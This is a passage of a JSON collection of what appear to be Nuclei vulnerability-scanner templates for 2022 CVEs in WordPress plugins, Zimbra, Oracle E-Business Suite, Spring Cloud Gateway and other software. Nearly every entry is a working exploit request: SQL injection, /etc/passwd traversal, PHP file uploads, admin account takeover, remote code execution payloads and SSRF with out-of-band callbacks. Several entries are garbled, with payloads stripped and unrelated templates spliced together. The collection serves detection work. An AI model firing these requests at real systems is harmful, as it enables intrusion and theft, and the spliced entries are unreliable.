XMLHttpRequest\n\naction=udraw_convert_url_to_base64&url=/etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["cm9vd","data:image\\/;base64"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1904","info":{"name":"WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[" - Color"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0949","info":{"name":"WordPress Stop Bad Bots <6.930 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Real-IP: {{IP}}\nContent-Type: application/x-www-form-urlencoded\n\naction=stopbadbots_grava_fingerprint&fingerprint=0\n","@timeout 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Real-IP: {{IP}}\nContent-Type: application/x-www-form-urlencoded\n\naction=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))\n","GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_3, \"commentform\")"],"condition":"and"}]}]},{"id":"CVE-2022-0147","info":{"name":"WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x  HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'","toplevel_page_wp-gdpr-compliance"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3982","info":{"name":"WordPress Booking Calendar <3.2.2 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------1cada150a8151a54\n\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"action\"\n\nwpdevart_form_ajax\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_id\"\n\nx\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_nonce\"\n\n{{nonce}}\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart_data\"\n\n{\"wpdevart-submit\":\"X\"}\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"wpdevart-submit\"\n\n1\n--------------------------1cada150a8151a54\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n\n\n--------------------------1cada150a8151a54--\n","GET /wp-content/uploads/booking_calendar/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, 'e1bb1e04b786e90b07ebc4f7a2bff37d')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["var wpdevart.*\"ajaxNonce\":\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2022-43018","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email= HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[":0"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45933","info":{"name":"KubeView <=0.1.31 - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/scrape/kube-system"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["BEGIN CERTIFICATE","END CERTIFICATE","kubernetes.io"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0220","info":{"name":"WordPress GDPR & CCPA <1.9.27 -  Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}\n"],"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_2, 'text/html')","status_code_2 == 200","contains(body_2, '') && contains(body_2, '/wp-content/plugins/')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["nonce\":\"([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-2544","info":{"name":"WordPress Ninja Job Board < 1.3.3 - Direct Request","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp/wp-content/uploads/wpjobboard/","{{BaseURL}}/wp-content/uploads/wpjobboard/"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Index of /wp/wp-content/uploads/wpjobboard","Index of /wp-content/uploads/wpjobboard"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1903","info":{"name":"ARMember < 3.4.8 - Unauthenticated Admin Account Takeover","severity":"high"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=arm_shortcode_form_ajax_action&user_pass={{randstr}}&repeat_pass={{randstr}}&arm_action=change-password&key2=x&action2=rp&login2=admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Your Password has been reset","arm_success_msg"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3933","info":{"name":"WordPress Essential Real Estate <3.9.6 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin-ajax.php?action=ere_property_gallery_fillter_ajax&columns_gap=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C!-- HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\")","contains(body_2, \"ere_property_gallery\")"],"condition":"and"}]}]},{"id":"CVE-2022-33891","info":{"name":"Apache Spark UI - Remote Command Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/doAs?=`{{url_encode(\"{{command}}\")}}`"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["19833-2202-EVC"]}]}]},{"id":"CVE-2022-23544","info":{"name":"MeterSphere < 2.5.0 SSRF","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/resource/md/get/url?url=http://oast.pro"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26564","info":{"name":"HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>","{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1","{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","HotelDruid"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-21587","info":{"name":"Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv\n\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"bne:uueupload\"\n\nTRUE\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"uploadfilename\";filename=\"testzuue.zip\"\n\nbegin 664 test.zip\nM4$L#!!0``````\"]P-%;HR5LG>@```'H```!#````+BXO+BXO+BXO+BXO+BXO\nM1DU77TAO;64O3W)A8VQE7T5\"4RUA<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.\nM1%=24BYP;'5S92!#1TD[\"G!R:6YT($-'23HZ:&5A9&5R*\"`M='EP92`]/B`G\nM=&5X=\"]P;&%I;B<@*3L*;7D@)&-M9\"`](\")E8VAO($YU8VQE:2U#5D4M,C`R\nM,BTR,34X-R([\"G!R:6YT('-Y@```$,``````````````+2!`````\"XN+RXN\nM+RXN+RXN+RXN+T9-5U](;VUE+T]R86-L95]%0E,M87!P,2]C;VUM;VXO&M&3D174E(N<&Q02P4&``````$``0!Q````VP``````\n`\nend\n------WebKitFormBoundaryZsMro0UsAQYLDZGv--\n","GET /OA_CGI/FNDWRR.exe HTTP/1.1\nHost: {{Hostname}}\n","POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv\n\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"bne:uueupload\"\n\nTRUE\n------WebKitFormBoundaryZsMro0UsAQYLDZGv\nContent-Disposition: form-data; name=\"uploadfilename\";filename=\"testzuue.zip\"\n\nbegin 664 test.zip\nM4$L#!!0``````&UP-%:3!Malert(document.domain)\n-----------------------------59866212126262636974202255034--\n","GET /userfiles/media/default/{{to_lower(\"{{randstr}}\")}}.xml HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3,\"alert(document.domain)\")","status_code_3==200","contains(body_2,\"bytes_uploaded\")"],"condition":"and"}]}]},{"id":"CVE-2022-22947","info":{"name":"Spring Cloud Gateway Code Injection","severity":"critical"},"requests":[{"raw":["POST /actuator/gateway/routes/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n  \"predicates\": [\n    {\n      \"name\": \"Path\",\n      \"args\": {\n        \"_genkey_0\": \"/{{randstr}}/**\"\n      }\n    }\n  ],\n  \"filters\": [\n    {\n      \"name\": \"RewritePath\",\n      \"args\": {\n        \"_genkey_0\": \"#{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")}\",\n        \"_genkey_1\": \"/${path}\"\n      }\n    }\n  ],\n  \"uri\": \"{{RootURL}}\",\n  \"order\": 0\n}\n","POST /actuator/gateway/refresh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n  \"predicate\": \"Paths: [/{{randstr}}], match trailing slash: true\",\n  \"route_id\": \"{{randstr}}\",\n  \"filters\": [\n    \"[[RewritePath #{T(java.net.InetAddress).getByName(\\\"{{interactsh-url}}\\\")} = /${path}], order = 1]\"\n  ],\n  \"uri\": \"{{RootURL}}\",\n  \"order\": 0\n}\n","DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["/routes/{{randstr}}"]},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[201]}]}]},{"id":"CVE-2022-1390","info":{"name":"WordPress Admin Word Count Column 2.2 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\\0"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0234","info":{"name":"WordPress WOOCS < 1.3.7.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","\"current_currency\":"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29004","info":{"name":"Diary Management System 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /edms/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nlogindetail={{username}}&userpassword={{password}}&login=\n","POST /edms/search-result.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nsearchdata=\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Serach Result Against \""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-47002","info":{"name":"Masa CMS - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1\nHost: {{Hostname}}\n","GET /admin/?muraAction=cEditProfile.edit HTTP/1.1\nHost: {{Hostname}}\nCookie: userid={{uuid}}; userhash=\n"],"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_3,\"\\\"userid\\\"\")"],"condition":"and"},{"type":"word","part":"body_3","words":["Edit Profile"]}],"extractors":[{"type":"regex","name":"siteid","group":1,"regex":["siteid:\"(.*?)\""],"internal":true,"part":"body"},{"type":"regex","name":"uuid","group":1,"regex":["\"lastupdatebyid\":\"([A-F0-9-]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-2379","info":{"name":"WordPress Easy Student Results <=2.2.8 - Improper Authorization","severity":"high"},"requests":[{"raw":["GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["\"departments\":","batches\":"],"condition":"and"},{"type":"word","part":"body_2","words":["meta_data","\"name\":\"","\"registration_no\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22733","info":{"name":"Apache ShardingSphere ElasticJob-UI privilege escalation","severity":"medium"},"requests":[{"raw":["POST /api/login HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nAccess-Token:\nContent-Type: application/json;charset=UTF-8\nOrigin: {{RootURL}}\nReferer: {{RootURL}}\n\n{\"username\":\"guest\",\"password\":\"guest\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"success\":true","\"isGuest\":true","\"accessToken\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1020","info":{"name":"WordPress WooCommerce <3.1.2 - Arbitrary Function Call","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_key=a&perpose=update&callback=phpinfo\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"],"part":"body"}]}]},{"id":"CVE-2022-0817","info":{"name":"WordPress BadgeOS <=3.7.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=get-achievements&total_only=true&user_id=11 UNION ALL SELECT NULL,CONCAT(1,md5({{num}}),1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, md5(num))","contains(content_type, \"application/json\")","contains(body, \"badgeos-arrange-buttons\")"],"condition":"and"}]}]},{"id":"CVE-2022-0747","info":{"name":"Infographic Maker iList < 4.3.8 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=qcld_upvote_action&post_id=1+AND+(SELECT+1626+FROM+(SELECT(SLEEP(6)))niPH)\n","GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_2 == 200","contains(content_type_2, \"text/javascript\")","contains(body_2, \"show_ilist_templates\")"],"condition":"and"}]}]},{"id":"CVE-2022-1713","info":{"name":"Drawio <18.0.4 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /proxy?url=http%3a//0:8080/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Flowchart Maker & Online Diagram Software"]},{"type":"word","part":"header","words":["application/octet-stream"]}]}]},{"id":"CVE-2022-37042","info":{"name":"Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST {{path}} HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\ncontent-type: application/x-www-form-urlencoded\n\n{{hex_decode(\"504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000\")}}\n","GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"path":["/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1","/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd"]},"stop-at-first-match":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 401","status_code_2 == 200","contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"],"condition":"and"}]}]},{"id":"CVE-2022-43014","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /ajax.php?f=getPipelineJobOrder&joborderID=1)\">%20&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&isPopup=0 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","CATS="],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0824","info":{"name":"Webmin <1.990 - Improper Access Control","severity":"high"},"requests":[{"raw":["POST /session_login.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: redirect=1;testing=1;PHPSESSID=;\n\nuser={{username}}&pass={{password}}\n","POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nReferer: {{RootURL}}/filemin/?xnavigation=1\n\nlink=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Failed to write to /{{ranstr}}/index.html"]}]}]},{"id":"CVE-2022-0206","info":{"name":"WordPress NewStatPress <1.3.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog=admin&pwd=admin123&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"onanimationstart=alert(document.domain)\")","contains(body_2, \"newstatpress_page\")"],"condition":"and"}]}]},{"id":"CVE-2022-27984","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","@timeout: 20s\nPOST /templates/default/html/windows/right.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nmenu_filter=3'+AND+SLEEP(6)--+-&id=211&url=components%2Fmenu%2Fhtml%2Fedit.php&path=component%2Fmenu%2F%26menu_filter%3D3&uniqueClass=window_right_7526357\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"components/menu/classes/functions.php\")"],"condition":"and"}]}]},{"id":"CVE-2022-43167","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_alerts/users_alerts&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=warning&title=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&location=all&start_date=&end_date=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-1933","info":{"name":"WordPress CDI <5.1.9 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Tracking code not correct"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1574","info":{"name":"WordPress HTML2WP <=1.0.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 253\nContent-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990\nConnection: close\n\n-----------------------------7816508136577551742878603990\nContent-Disposition: form-data; name=\"local_importing[]\"; filename=\"{{randstr}}.php\"\nContent-Type: text/html\n\n","/newspaper"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29349","info":{"name":"kkFileView 4.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D"],"matchers-condition":"and","matchers":[{"type":"word","words":["txt\">123"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31373","info":{"name":"SolarView Compact 6.00 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/Solar_AiConf.php/\">","HREF=\"Solar_Service.php\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28923","info":{"name":"Caddy 2.4.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0432","info":{"name":"Mastodon Prototype Pollution Vulnerability","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/embed.js"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["if (data.type !== 'setHeight' || !iframes[data.id]) {"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31474","info":{"name":"BackupBuddy - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1007","info":{"name":"WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, '')","contains(body_2, 'advanced-booking-calendar')","contains(header_2, 'text/html')","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-0212","info":{"name":"WordPress Spider Calendar <=1.5.65 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=window&callback="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["spider_Calendar_theme",""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0653","info":{"name":"Wordpress Profile Builder Plugin Cross-Site 